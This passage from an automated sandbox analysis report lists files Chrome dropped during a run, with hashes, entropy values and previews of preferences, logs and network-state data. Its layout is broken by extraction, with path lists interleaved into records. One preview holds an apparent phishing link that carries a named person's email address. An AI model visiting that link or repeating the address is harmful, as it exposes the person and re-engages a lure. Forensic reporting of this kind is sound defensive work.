wG3QJmuYWEvYCs40NI=","3mBGNAiRlTANEQkqzU3TEi+5wJ0ubR5uwtS4/9OOM7w=","1A9NNawxuhu95H5eThvf1rewJ4QQWhhPNxJXO1C/n68=","E3vW
LQxzmj+e5QxYbUscllJ5n0ITpw5JBHV1Kph3/KM=","i3I8ghdTF9c1ZXNBZmvsID+DV4gxBVN27rj9wsMtRpg=","R8B8qYabnMSlLPhrtu0hGYrHn3llsMHqBbi70gkIjEE=","rhl
zuEvv2KRAFMms896xFwkNgPrw6WvmgPn6xrBSa2Y=","LAMXv6sRb0VZrY34aVXF3Fftxs

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 38

Entropy (8bit): 1.8784775129881184

Encrypted: false

SSDEEP: 3:FQxlXNQxlX:qTCT

MD5: 51A2CBB807F5085530DEC18E45CB8569

SHA1: 7AD88CD3DE5844C7FC269C4500228A630016AB5B

SHA-256: 1C43A1BDA1E458863C46DFAE7FB43BFB3E27802169F37320399B1DD799A819AC

SHA-512: B643A8FA75EDA90C89AB98F79D4D022BB81F1F62F50ED4E5440F487F22D1163671EC3AE73C4742C11830214173FF2935C785018318F4A4CAD413AE4EEEF985DF

Malicious: false

Reputation: low

Preview: .f.5................f.5...............

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 374

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_metadata\comput

ed_hashes.json

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\000003.log

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\LOG
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Entropy (8bit): 5.250031357549471

Encrypted: false

SSDEEP: 6:63/aq2P923iKKdK25+Xqx8chI+IFUtqV539ZmwYV53OkwO923iKKdK25+Xqx8chn:/v45KkTXfchI3FUtm/J5L5KkTXfch1J

MD5: 53A7C8F73881C999406FA66F592A4CBE

SHA1: 93FA71FE0205EDC36B275C319F16B8597E371877

SHA-256: 37335122A21DF742E2A00B6A457248FBE6B6D6FA58041E6F78C03AAD919473AA

SHA-512: 94B8B35123BC4EC7F549DEB3769F5E1ADDA5F33ED544BFFF3D367848DB2C28B2D189D4A2AD434F32C03F8516368C48ADD8902EAE9F71EFA14DE53AAF40389F
C8

Malicious: false

Reputation: low

Preview: 2022/07/01-11:00:59.414 1b84 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB/MA
NIFEST-000001.2022/07/01-11:00:59.416 1b84 Recovering log #3.2022/07/01-11:00:59.417 1b84 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User 
Data\Default\Feature Engagement Tracker\AvailabilityDB/000003.log .

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 374

Entropy (8bit): 5.250031357549471

Encrypted: false

SSDEEP: 6:63/aq2P923iKKdK25+Xqx8chI+IFUtqV539ZmwYV53OkwO923iKKdK25+Xqx8chn:/v45KkTXfchI3FUtm/J5L5KkTXfch1J

MD5: 53A7C8F73881C999406FA66F592A4CBE

SHA1: 93FA71FE0205EDC36B275C319F16B8597E371877

SHA-256: 37335122A21DF742E2A00B6A457248FBE6B6D6FA58041E6F78C03AAD919473AA

SHA-512: 94B8B35123BC4EC7F549DEB3769F5E1ADDA5F33ED544BFFF3D367848DB2C28B2D189D4A2AD434F32C03F8516368C48ADD8902EAE9F71EFA14DE53AAF40389F
C8

Malicious: false

Reputation: low

Preview: 2022/07/01-11:00:59.414 1b84 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB/MA
NIFEST-000001.2022/07/01-11:00:59.416 1b84 Recovering log #3.2022/07/01-11:00:59.417 1b84 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User 
Data\Default\Feature Engagement Tracker\AvailabilityDB/000003.log .

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 587

Entropy (8bit): 5.254268148399227

Encrypted: false

SSDEEP: 12:YO8ZT1ZJiCyS1qCCNBaqrRaGoVG3VYR8gr1Bk778B/xgskZB+1Frk44Td2nept:Y37J8aqC4BaqF5HVm9Y78BJgskf+1Fr4

MD5: ADD5D582C526457B552CE5747AC3EFE6

SHA1: A2EA90C1F95F9AD0A5DBBDC30A459697B57341F5

SHA-256: 811572B966B43F571530F2A044626D5F7B67FCC1E72769CD6E71A4B1045B795A

SHA-512: 3A56DE1C7FDEA6F40CF63E3F97EB3F47566C8A4BB0DE9DE2CA2D2BA1AD6117C7170F2512767234BC296FAA87562E78D04957976BAA4D9491D5DEBE6D0E0FC
814

Malicious: false

Reputation: low

Preview: .........."E....barilla..com..giangaddo..html..https..prati..shafquatarefeen..uhg*e......barilla......com......giangaddo......html......https......prati......shafquatarefeen......uhg..2.....
....a...........b........c........d........e........f........g.........h...........i..........l.........m.........n.........o.........p.........q........r..........s.........t...........u....:J.........................................................
.................Bj...f...... ......*Bhttps://shafquatarefeen.com/uhg.html#*giangaddo.prati@barilla.com*2.:..............J............. &06>

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 2006

Entropy (8bit): 4.885544334332759

Encrypted: false

SSDEEP: 48:Y2n6qtwTCXDHyvzM3zspGs3tRLs3iRI8sS5sAMHJYhbxD:JnxOTCXDH+zMIFtX2eXGWhVD

MD5: 829EF55DFA68D7879015508B19BEF288

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\LOG.old (copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History Provider Cache

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network Persistent State (copy)

Copyright Joe Security LLC 2022 Page 19 of 280



SHA1: B3D15DE8F7B9333844FEEF017A288B26D5D1D4F9

SHA-256: E2D5F835B367BBCA1BB3BE5CE93AD2F643AB98D31438A23FCCD3F96AA94BA04F

SHA-512: BDE1478EA60E461FDE2E9C1110EE0BD562E1B10C995461C7527D102115457D8C6758EB8280D6055AD9A6BADC103645C464B590F01891EA39D73BE4F8090D15D
C

Malicious: false

Reputation: low

Preview: {"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://www.google.com","supports_spdy":true},{"isolation":[],"server":"https://fonts.googleapis.co
m","supports_spdy":true},{"isolation":[],"server":"https://ssl.gstatic.com","supports_spdy":true},{"isolation":[],"server":"https://www.gstatic.com","supports_spdy":true},
{"isolation":[],"server":"https://fonts.gstatic.com","supports_spdy":true},{"isolation":[],"server":"https://apis.google.com","supports_spdy":true},{"isolation":[],"server":"https
://ogs.google.com","supports_spdy":true},{"isolation":[],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"isolation":[],"server":"https://dns.goo
gle","supports_spdy":true},{"isolation":[],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_versions":[50],"expiration":"1
3303764044720635","port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://redirector.gvt1.com"},{"alternative_service":[{"advert

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 5372

Entropy (8bit): 4.987161222956074

Encrypted: false

SSDEEP: 96:nAfrLme1pSKIFIk0JC3RWL8RkZ11obOTQVuwn:nAfrN1pS7C43YMkZq

MD5: 1D553CCDCC31F465A11A1D4052316B03

SHA1: 7DADABBC78708E0ACF4828A8E81B7E540F81C2EB

SHA-256: 66FDAD2D44536C3B52E919E7B464215676BBDA268E7EB8B2CBA187C4567943DC

SHA-512: 52ABE371A8DE63DD058DE4970804C170BBA0E04D5772564E182AAABDA9D12057B674B882AC8D27267EE623B334D8593964978B9995BFA722D5D936C0629991D2

Malicious: false

Reputation: low

Preview: {"account_id_migration_state":2,"account_tracker_service_last_update":"13301172041145300","alternate_error_pages":{"backup":true},"announcement_notification_ser
vice_first_run_time":"13245950583260338","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"browser":{"default_browser
_infobar_last_declined":"13245950640095768","has_seen_welcome_page":true,"navi_onboard_group":"","should_reset_check_default_browser":false,"window_pl
acement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"co
untryid_at_install":21843,"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0"
,"0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1538886"],"daily_received_length":["0","0","0","0","0","0","0","

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 19793

Entropy (8bit): 5.564155353666794

Encrypted: false

SSDEEP: 384:gI0t7LlXRXi1kXqKf/pUZNCgVLH2HfDsrUcHGXGFd4CF:yLlFi1kXqKf/pUZNCgVLH2HfwrUQGXUD

MD5: 9276702910EEBA21C662064A16BD3659

SHA1: 4146B0868994D995C50F1BCE8FB148F4CE877166

SHA-256: ACA92B0EA5557081D7ABE9990ACE44033B498C8E8FE77AA6B248D76B0E6170B3

SHA-512: 674AFBAE5A3CE7E2E89C99F2250276D90E7AF887ED2165BF0BA0B1ED7DB4B6F882D439A8C7E9C77C6CA6FB9BF126965E2F55946250D3D59C33480341F5813C5
0

Malicious: false

Reputation: low

Preview: {"download":{"always_open_pdf_externally":true,"directory_upgrade":true,"extensions_to_open":"pdf:doc:docx:docxm:docm:xls:xlsx:xlsxm:xlsm:ppt:pptx:pptxm:pptm:mh
t:rtf:pub:vsd:mpp:mdb:dot:dotm:xlsb:xll:hwp:show:cell:hwpx:hwt:jtd:zip:iso:7z:rar:tar:vbs:js:jse:vbe:exe:html:htm:xhtml:tbz2:lz"},"extensions":{"settings":{"ahfgeienlihck
ogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network
"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"from_bookmark":false,"from_webstore":false,"i
ncognito_content_settings":[],"incognito_preferences":{},"install_time":"13301172040041762","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.
google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and themes for Google Chrome.","icons":
{"128":"webstore_i

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 270336

Entropy (8bit): 0.0012471779557650352

Encrypted: false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Preferences (copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences (copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\GPUCache\data_1
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SSDEEP: 3:MsEllllkEthXllkl2zE:/M/xT02z

MD5: F50F89A0A91564D0B8A211F8921AA7DE

SHA1: 112403A17DD69D5B9018B8CEDE023CB3B54EAB7D

SHA-256: B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC

SHA-512: BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898
D58

Malicious: false

Reputation: low

Preview: ..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 325

Entropy (8bit): 4.956993026220225

Encrypted: false

SSDEEP: 6:YHpoNXR8+eq7JdV5rAcJksDHF4R8HLJ2AVQBR70S7PMVKJw1K3KnMRK3VY:YHO8sdVAsBdLJlyH7E4f3K33y

MD5: 0C03D530AC97788D62D27B2802C34D83

SHA1: 20F78B6B32D98FA52846C70DF78E4E5CEF663E2D

SHA-256: 7941FADA9867DAAE08EBC196BAFC6952DD506842C3E7D8FB14DF9D4E402D894B

SHA-512: D5905C124060997A14322D12DECE5C00C63F7174743C740C974D00E88B03F203909CC2AC972B2759E8087B0B10F6306C6E66BF853319B5AC96907F34C8456C80

Malicious: false

Reputation: low

Preview: {"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[50],"expiration":"13248542588505091","port":443,"protocol_str":"quic"}],"isol
ation":[],"server":"https://dns.google","supports_spdy":true}],"version":5},"network_qualities":{"CAASABiAgICA+P////8B":"4G","CAESABiAgICA+P////8B":"4G"}}}

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 325

Entropy (8bit): 4.956993026220225

Encrypted: false

SSDEEP: 6:YHpoNXR8+eq7JdV5rAcJksDHF4R8HLJ2AVQBR70S7PMVKJw1K3KnMRK3VY:YHO8sdVAsBdLJlyH7E4f3K33y

MD5: 0C03D530AC97788D62D27B2802C34D83

SHA1: 20F78B6B32D98FA52846C70DF78E4E5CEF663E2D

SHA-256: 7941FADA9867DAAE08EBC196BAFC6952DD506842C3E7D8FB14DF9D4E402D894B

SHA-512: D5905C124060997A14322D12DECE5C00C63F7174743C740C974D00E88B03F203909CC2AC972B2759E8087B0B10F6306C6E66BF853319B5AC96907F34C8456C80

Malicious: false

Reputation: low

Preview: {"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[50],"expiration":"13248542588505091","port":443,"protocol_str":"quic"}],"isol
ation":[],"server":"https://dns.google","supports_spdy":true}],"version":5},"network_qualities":{"CAASABiAgICA+P////8B":"4G","CAESABiAgICA+P////8B":"4G"}}}

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 270336

Entropy (8bit): 0.0012471779557650352

Encrypted: false

SSDEEP: 3:MsEllllkEthXllkl2zE:/M/xT02z

MD5: F50F89A0A91564D0B8A211F8921AA7DE

SHA1: 112403A17DD69D5B9018B8CEDE023CB3B54EAB7D

SHA-256: B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Network Persistent State

(copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\fa5b6e79-5033-4bc0-90b7-

e3b9fbc7d5bc.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_1
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SHA-512: BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898
D58

Malicious: false

Reputation: low

Preview: ..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 325

Entropy (8bit): 4.976576189225149

Encrypted: false

SSDEEP: 6:YHpoNXR8+eq7JdV5OV/sDHF4R8HLJ2AVQBR70S7PMVKJw1K3KnMRK3VY:YHO8sdysBdLJlyH7E4f3K33y

MD5: 5886A009EB58EE06A16EFD6D1BA9A046

SHA1: A867B5052F3FBB811693DF8CE3FDAA794F2F2E40

SHA-256: 9E3392126DE2D81D019E0AB3E17F20BADD0EC9FBD944BCB7C4DAF449D937D496

SHA-512: D24F30A2E35F903AC10AACC4425C58BECB1C6BE2BA30A3C2B9D9D46CE04914AA71F55B3B16ED89081AD65A7090C77F5DC4A258B7B98D71E6A994D176536FB
B27

Malicious: false

Reputation: low

Preview: {"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[50],"expiration":"13248542597817103","port":443,"protocol_str":"quic"}],"isol
ation":[],"server":"https://dns.google","supports_spdy":true}],"version":5},"network_qualities":{"CAASABiAgICA+P////8B":"4G","CAESABiAgICA+P////8B":"4G"}}}

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: modified

Size (bytes): 325

Entropy (8bit): 4.976576189225149

Encrypted: false

SSDEEP: 6:YHpoNXR8+eq7JdV5OV/sDHF4R8HLJ2AVQBR70S7PMVKJw1K3KnMRK3VY:YHO8sdysBdLJlyH7E4f3K33y

MD5: 5886A009EB58EE06A16EFD6D1BA9A046

SHA1: A867B5052F3FBB811693DF8CE3FDAA794F2F2E40

SHA-256: 9E3392126DE2D81D019E0AB3E17F20BADD0EC9FBD944BCB7C4DAF449D937D496

SHA-512: D24F30A2E35F903AC10AACC4425C58BECB1C6BE2BA30A3C2B9D9D46CE04914AA71F55B3B16ED89081AD65A7090C77F5DC4A258B7B98D71E6A994D176536FB
B27

Malicious: false

Reputation: low

Preview: {"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[50],"expiration":"13248542597817103","port":443,"protocol_str":"quic"}],"isol
ation":[],"server":"https://dns.google","supports_spdy":true}],"version":5},"network_qualities":{"CAASABiAgICA+P////8B":"4G","CAESABiAgICA+P////8B":"4G"}}}

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 16

Entropy (8bit): 3.2743974703476995

Encrypted: false

SSDEEP: 3:1sjgWIV//Rv:1qIFJ

MD5: 6752A1D65B201C13B62EA44016EB221F

SHA1: 58ECF154D01A62233ED7FB494ACE3C3D4FFCE08B

SHA-256: 0861415CADA612EA5834D56E2CF1055D3E63979B69EB71D32AE9AE394D8306CD

SHA-512: 9CFD838D3FB570B44FC3461623AB2296123404C6C8F576B0DE0AABD9A6020840D4C9125EB679ED384170DBCAAC2FA30DC7FA9EE5B77D6DF7C344A0AA030E03
89

Malicious: false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Network Persistent State

(copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\a04363b4-0d0b-4d00-8c

82-588863241020.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\000004.dbtmp
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Reputation: low

Preview: MANIFEST-000004.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 16

Entropy (8bit): 3.2743974703476995

Encrypted: false

SSDEEP: 3:1sjgWIV//Rv:1qIFJ

MD5: 6752A1D65B201C13B62EA44016EB221F

SHA1: 58ECF154D01A62233ED7FB494ACE3C3D4FFCE08B

SHA-256: 0861415CADA612EA5834D56E2CF1055D3E63979B69EB71D32AE9AE394D8306CD

SHA-512: 9CFD838D3FB570B44FC3461623AB2296123404C6C8F576B0DE0AABD9A6020840D4C9125EB679ED384170DBCAAC2FA30DC7FA9EE5B77D6DF7C344A0AA030E03
89

Malicious: false

Reputation: low

Preview: MANIFEST-000004.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 2693

Entropy (8bit): 4.871599185186076

Encrypted: false

SSDEEP: 48:YXs2MHRzsoMHT5s0MHyKsTMHksrDys4Csb7synWsQItFsym6zs6zMHWLsZMH5YhV:+GDGTHGmGHDW1/nOIbmOGlGGhVD

MD5: 829D5654ADF098AD43036E24C47F2A94

SHA1: 506C8BA397509BA0357787950C538C1879047DF3

SHA-256: 4D0B852D18FCA5C1A712904CF6DB3811FB905E86D8A7508A2D42F9C8D68E2211

SHA-512: D9B18E6B0AD1E8E4BECF9E84BBE30D64730CFEC2CBEAF96D5DF52E28B907B03EADF22F020FBE0A56D137A52F4F09798031BC6CA026CFA8A979A608B3445DB
CAA

Malicious: false

Reputation: low

Preview: {"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[],"expiration":"13248542600883925","port":443,"protocol_str":"quic"}],"isolation":
[],"network_stats":{"srtt":40156},"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_versions":[],"expiration":"1324854
2628822803","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":30856},"server":"https://dns.google","supports_spdy":true},{"alternative_service":[{
"advertised_versions":[],"expiration":"13248542600893104","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":25300},"server":"https://clients2.goog
leusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_versions":[],"expiration":"13248542600872791","port":443,"protocol_str":"quic"}],"isolation":
[],"network_stats":{"srtt":34789},"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_versions":[],"exp

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 17529

Entropy (8bit): 5.574363598039817

Encrypted: false

SSDEEP: 384:gI0tmLlXRXi1kXqKf/pUZNCgVLH2HfDsrUwG5d4+:tLlFi1kXqKf/pUZNCgVLH2HfwrUwgdJ

MD5: 5D1355A6267AD8929102057EF9D0E8F8

SHA1: 6E75F1787622A97023A70C599C30F5AAB10B7897

SHA-256: A9B254B3677ADF95B4F97DFBA82E36D8D0B4257CA05AA8A12D74D9704C8B07E0

SHA-512: CD9A84349CBC939CAA027DACE9E86360CB7FB2671FB605FAE1172B2EDD48E33A03A26715427E33792584B4E3CD4E6ED38BD7A1EE1F60C29201B420C948DC10
E7

Malicious: false

Reputation: low

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\CURRENT (copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\e1885e46-a4f7-4312-880e-62bd9bf9b4af.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\ed68d658-0c94-475a-a0ab-07aec225e10c.tmp
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Preview: {"download":{"always_open_pdf_externally":true,"directory_upgrade":true,"extensions_to_open":"pdf:doc:docx:docxm:docm:xls:xlsx:xlsxm:xlsm:ppt:pptx:pptxm:pptm:mh
t:rtf:pub:vsd:mpp:mdb:dot:dotm:xlsb:xll:hwp:show:cell:hwpx:hwt:jtd:zip:iso:7z:rar:tar:vbs:js:jse:vbe:exe:html:htm:xhtml:tbz2:lz"},"extensions":{"settings":{"ahfgeienlihck
ogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network
"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"from_bookmark":false,"from_webstore":false,"i
ncognito_content_settings":[],"incognito_preferences":{},"install_time":"13301172040041762","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.
google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and themes for Google Chrome.","icons":
{"128":"webstore_i

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 5372

Entropy (8bit): 4.987161222956074

Encrypted: false

SSDEEP: 96:nAfrLme1pSKIFIk0JC3RWL8RkZ11obOTQVuwn:nAfrN1pS7C43YMkZq

MD5: 1D553CCDCC31F465A11A1D4052316B03

SHA1: 7DADABBC78708E0ACF4828A8E81B7E540F81C2EB

SHA-256: 66FDAD2D44536C3B52E919E7B464215676BBDA268E7EB8B2CBA187C4567943DC

SHA-512: 52ABE371A8DE63DD058DE4970804C170BBA0E04D5772564E182AAABDA9D12057B674B882AC8D27267EE623B334D8593964978B9995BFA722D5D936C0629991D2

Malicious: false

Reputation: low

Preview: {"account_id_migration_state":2,"account_tracker_service_last_update":"13301172041145300","alternate_error_pages":{"backup":true},"announcement_notification_ser
vice_first_run_time":"13245950583260338","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"browser":{"default_browser
_infobar_last_declined":"13245950640095768","has_seen_welcome_page":true,"navi_onboard_group":"","should_reset_check_default_browser":false,"window_pl
acement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"co
untryid_at_install":21843,"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0"
,"0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1538886"],"daily_received_length":["0","0","0","0","0","0","0","

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 5254

Entropy (8bit): 4.976697300553497

Encrypted: false

SSDEEP: 96:nAfrAfe1pSKIFIk0JC3RWL8RkZ11QbOTQVuwn:nAfrF1pS7C43YMkZy

MD5: 77843FF9C15A36065CCC16B342CF7537

SHA1: 4392320D317BEA18FA17E2B9804173E50B561AF1

SHA-256: 9F3AB8D7C23407FF11E3F01E9E5517048149DD2D95D7B4949C4F7F83D5E4092F

SHA-512: 2680A51B014AC0293EA3023C6B6ADEBF570FE1980728EE03D4D2B299A47F58DE982FE3AAEA650B8F0C509370B95D8AD476572AEB249B6B1C9E80E187BAEB42
02

Malicious: false

Reputation: low

Preview: {"account_id_migration_state":2,"account_tracker_service_last_update":"13301172041145300","alternate_error_pages":{"backup":true},"announcement_notification_ser
vice_first_run_time":"13245950583260338","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"browser":{"default_browser
_infobar_last_declined":"13245950640095768","has_seen_welcome_page":true,"navi_onboard_group":"","should_reset_check_default_browser":false,"window_pl
acement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"co
untryid_at_install":21843,"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0"
,"0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1538886"],"daily_received_length":["0","0","0","0","0","0","0","

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 106

Entropy (8bit): 3.138546519832722

Encrypted: false

SSDEEP: 3:tbloIlrJ5ldQxl7aXVdJiG6R0RlAl:tbdlrnQxZaHIGi0R6l

MD5: DE9EF0C5BCC012A3A1131988DEE272D8

SHA1: FA9CCBDC969AC9E1474FCE773234B28D50951CD8

SHA-256: 3615498FBEF408A96BF30E01C318DAC2D5451B054998119080E7FAAC5995F590

SHA-512: CEA946EBEADFE6BE65E33EDFF6C68953A84EC2E2410884E12F406CAC1E6C8A0793180433A7EF7CE097B24EA78A1FDBB4E3B3D9CDF1A827AB6FF5605DA3691
724

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\f211fdcc-7adc-4791-84dc-46d680fa51bb.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\f2ecfbba-9eb7-42ae-bb62-70f4df5081a4.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Last Browser
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Malicious: false

Reputation: low

Preview: C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e...e.x.e.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with no line terminators

Category: dropped

Size (bytes): 13

Entropy (8bit): 2.8150724101159437

Encrypted: false

SSDEEP: 3:Yx7:4

MD5: C422F72BA41F662A919ED0B70E5C3289

SHA1: AAD27C14B27F56B6E7C744A8EC5B1A7D767D7632

SHA-256: 02E71EB4C587FEB7EE00CE8600F97411C2774C2FC34CB95B92D5538E7F30DA59

SHA-512: 86010ED2B2EEBDCC5A8A076B37703669C294C6D1BFAAEA963E26A9C94B81B4C53EC765D9425E5B616159C43923F800A891F9B903659575DF02F8845521F8DC46

Malicious: false

Reputation: low

Preview: 85.0.4183.121

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 408862

Entropy (8bit): 6.025691637274363

Encrypted: false

SSDEEP: 12288:YNDdqe70oOl9gKV/xzurRDn9nfNxF4ijZVtilBr:YGe70o4VV10RzxxPjjt8r

MD5: 60D4BC12F0EA1D657C512C8D84A0BCEF

SHA1: F9112494F057FB79D5A94B52626791EEF35A1D7B

SHA-256: BE85793369A6C310CC32FA64ADD01580538286CE98D13CCB15A7FA26C340ECC6

SHA-512: 15780D6FE716FBA0F34C8CDC8E1DFB9DFFF62F63B8EAC20101C303AA67E5C7F7BD09AFA14268E221AFDE632BEDE3EE3690F40A45850B90BD8E7BAF2927DFD
399

Malicious: false

Reputation: low

Preview: {"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":
